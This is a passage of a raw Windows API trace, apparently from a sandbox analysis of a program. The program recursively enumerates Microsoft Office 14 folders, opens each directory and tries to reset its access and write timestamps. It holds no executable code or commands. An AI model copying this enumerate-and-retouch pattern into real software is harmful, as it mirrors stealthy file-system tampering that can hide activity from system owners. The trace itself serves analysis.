lpLastWriteTime=0x1a7f0d4) returned 0 [0144.091] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.100] GetLastError () returned 0x12 [0144.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.100] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.102] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.102] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.103] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.107] GetLastError () returned 0x12 [0144.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.107] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.107] GetLastError () returned 0x12 [0144.107] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.109] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.109] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x997e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x997e38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.110] GetLastError () returned 0x12 [0144.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.110] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.111] GetLastError () returned 0x12 [0144.111] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.112] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.112] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.112] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.164] GetLastError () returned 0x12 [0144.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.165] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.165] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.246] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.246] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.246] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.251] GetLastError () returned 0x12 [0144.251] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.251] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.251] GetLastError () returned 0x12 [0144.251] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.272] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.272] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.272] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.273] GetLastError () returned 0x12 [0144.273] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.273] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.273] GetLastError () returned 0x12 [0144.273] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.278] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.278] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.278] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.279] GetLastError () returned 0x12 [0144.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.279] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.279] GetLastError () returned 0x12 [0144.279] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.283] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.283] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.283] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.284] GetLastError () returned 0x12 [0144.284] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.285] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.285] GetLastError () returned 0x12 [0144.285] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.285] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.286] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.286] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x998240, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x998240, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.293] GetLastError () returned 0x12 [0144.293] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.293] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.293] GetLastError () returned 0x12 [0144.293] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.294] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.298] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.298] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x997e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x997e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.298] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.299] GetLastError () returned 0x12 [0144.299] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.299] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.299] GetLastError () returned 0x12 [0144.299] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.299] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.307] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.307] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x997e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x997e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.308] GetLastError () returned 0x12 [0144.308] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.308] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.308] GetLastError () returned 0x12 [0144.308] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.311] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.311] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x997e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x997e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.311] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.314] GetLastError () returned 0x12 [0144.314] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.314] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.314] GetLastError () returned 0x12 [0144.314] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.315] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program 